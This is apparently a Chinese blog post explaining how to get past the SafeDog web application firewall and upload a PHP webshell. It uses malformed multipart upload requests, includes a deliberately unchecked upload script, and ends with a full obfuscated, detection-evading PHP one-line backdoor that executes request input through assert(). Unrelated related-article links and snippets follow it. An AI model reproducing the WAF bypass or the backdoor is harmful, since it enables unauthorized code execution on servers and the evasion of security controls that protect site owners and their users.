这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法。

思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测。

废话不多说,切入正题。。。。

1、实验环境:

Windows Server 2003、 Apache/2.4.18、PHP/5.3.29、网站安全狗(Apache版)V3.5.12048

2、用于文件上传的PHP源码:

<?php

$path = dirname(__FILE__) . '/upload/';

$rand = rand(0,30);

move_uploaded_file($_FILES["file"]["tmp_name"],$path . $rand . $_FILES["file"]["name"]);

echo "File Path:" . $path . $rand . $_FILES["file"]["name"] . "<br/>";

echo "OK";

?>

因为此次实验的目的是绕过网站安全狗,所以PHP源码上我没做任何检测,把上传的文件直接放在upload目录下。

3、先看一下正常的HTTP请求:

很明显,文件名为”yijuhua.php”被拦截。。。。

4、尝试%00截断:

很明显,失败了。。。

5、修改HTTP请求,构造畸形HTTP请求

(1)删除实体里面的Conten-Type字段:

绕过网站安全狗的拦截,成功上传WebShell。。。

(2)删除Content-Disposition字段里的空格:

(3)修改Content-Disposition字段值的大小写:

6、菜刀连接一句话:

到此,上传WebShell结束,各位看明白了吗?

7、免杀PHP一句话:

<?php

/*

PHP一句话木马

assert($string)

*/

$arr = array('a','s','s','e','r','t');

$func = '';

for($i=0;$i<count($arr);$i++) {

$func .= $func . $arr[$i];

}

$func($_REQUEST['c']);

?>

8、修复漏洞:

出现这种情况,我认为是网站安全狗在开发时没有考虑到畸形HTTP请求,而Apache却兼容畸形HTTP请求,所以能够上传成功。

绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)的更多相关文章

  1. 高版本正方教务系统上传后缀过滤不严导致能直接上传Webshell

    在旧版本中有一个利用插件上传文件的漏洞,但是在新版本中已经没有了这个插件.这个漏洞是由于过滤不严造成的,可以直接上传Webshell进行提权,由于代码在DLL中,全国大部分高校均有此漏洞,影响范围很大 ...

  2. 如何上传webshell后改回原来的webshell的格式

    一般后台不给允许上传php,asp格式的东东 所以我们要把木马改为jpg格式 记录下上传的路径 我们上传后木马因为格式不对不能被正确解析,我们可以利用网站的备份数据库模式恢复格式 在备份数据库那填上我 ...

  3. burpsuite截断上传webshell

    1.先设置好代理127.0.0.1 8080 2.开启截断模式 3.上传文件会被burp截断 4.在hex下找到你上传的webshell的16进制编码 5.把.后面的源码改为00 点击forward上 ...

  4. 基于SpringBoot从零构建博客网站 - 设计可扩展上传模块和开发修改头像密码功能

    上传模块在web开发中是很常见的功能也是很重要的功能,在web应用中需要上传的可以是图片.pdf.压缩包等其它类型的文件,同时对于图片可能需要回显,对于其它文件要能够支持下载等.在守望博客系统中对于上 ...

  5. 基于Flask开发网站 -- 前端Ajax异步上传文件到后台

    大家好,我是辰哥~ 辰哥最近利用空闲时间在写一个在线可视化平台,过程中也觉得一些技术还是比较有意思的,所以就以模块化的形式分享出来.如:从网页界面(前端)上传文件到服务器(后端). 放一下该模块的界面 ...

  6. 文件上传小技巧/后端处理【以php示例】

    引语:在上一篇文章中说到,在页面中可以用隐藏的方式让你的上传页面看起来漂亮.但是这对于性能来说,并没有什么卵用,那么在后台的处理中,难道就没有一些处理技巧么?所谓后台的技巧,应该要包括上传得快一点,上 ...

  7. 文件上传小技巧/原生态【html篇】

    引语:大家都知道,html中上传文件就一个input,type=file就搞定了.但是,这个标签的样式,实在不值得提点什么,要改动他的样式,恐怕也是较难的.但是其实挺简单,今天就来说说上传文件小技巧吧 ...

  8. php文件上传与下载(附封装好的函数文件)

    单文件上传前端页面 <!DOCTYPE html> <html lang="en"> <head> <meta charset=" ...

  9. git上传代码技巧

    1.一定要先在git上面创建项目然后把文件拉到本地先 1.1克隆到本地(orgin=>'你的远程仓库地址') git clone orgin 1.2初始化项目文件夹 git init 2.操作之 ...

随机推荐

  1. linux下如何修改iptables开启80端口

    linux下如何修改iptables开启80端口   最近在做本地服务器的环境,发现网站localhost能正常访问,用ip访问就访问不了,经常使用CentOS的朋友,可能会遇到和我一样的问题.开启了 ...

  2. ONES 安装、配置以及初始化配置

    环境依赖 bower composer php 5.5.9+ mysql 5.6.5+ PHP和MySQL版本均为最低要求版本,安装前请先确认. 通过CLI安装 $ git clone http:// ...

  3. Windows下python安装MySQLdb

    安装MySQLdb需要在电脑上安装MySQL connector C,只需要这个connector就好,不需要把mysql装全. 另外,需要安装VC for python提供编译. 到官网上下载脚本进 ...

  4. PVST+(每个VLAN 的生成树PVST 加)

    PVST+(每个VLAN 的生成树PVST 加) 实验拓扑: 分别在 SW1 和SW2 上show spanning-tree 查看结果: SW1#show spanning-tree VLAN000 ...

  5. Developing Backbone.js Applications

    https://addyosmani.com/backbone-fundamentals/

  6. Android导入工程,R 资源文件无法生成

    在Android中使用开源代码或者自己开发项目的时候,经常会遇到R.java文件丢失的情况,如何重新生成呢?网上一般给出这样的两种方法: 方法 1:右击你的工程(项目)——>Android To ...

  7. SQL模擬死結產生

    引用自:http://jengting.blogspot.tw/2012/06/sql.html 根據 MSDN 將死結數量降至最低 裡的圖型模擬死結產生 ~~ 在 SSMS 內開啟兩個 T-SQL ...

  8. 近期用过的Linux口令备份

    最近使用Ubuntu用到的一些口令: rm -rf directory 移除文件夹或者文件touch (create file)mkdirmv(move,rename)chown (change ow ...

  9. Sybase数据库的分页功能

    项目中需要用到Sybase数据库的分页功能,想尽各种办法都没有成功,最后用如下的存储过程成功实现功能,记录备忘. ),@start int, @pageSize int as begin declar ...

  10. 《accelerated c++》第九章---设计类

    本章简单介绍了类的设计,但是包含了一些好的设计原则. 1一些通用的设计原则 (1)一个函数是否设计成成员函数的原则:如果这个函数改变对象的状态,那么这个函数就应该成为这个对象的成员. (2)对于内置类 ...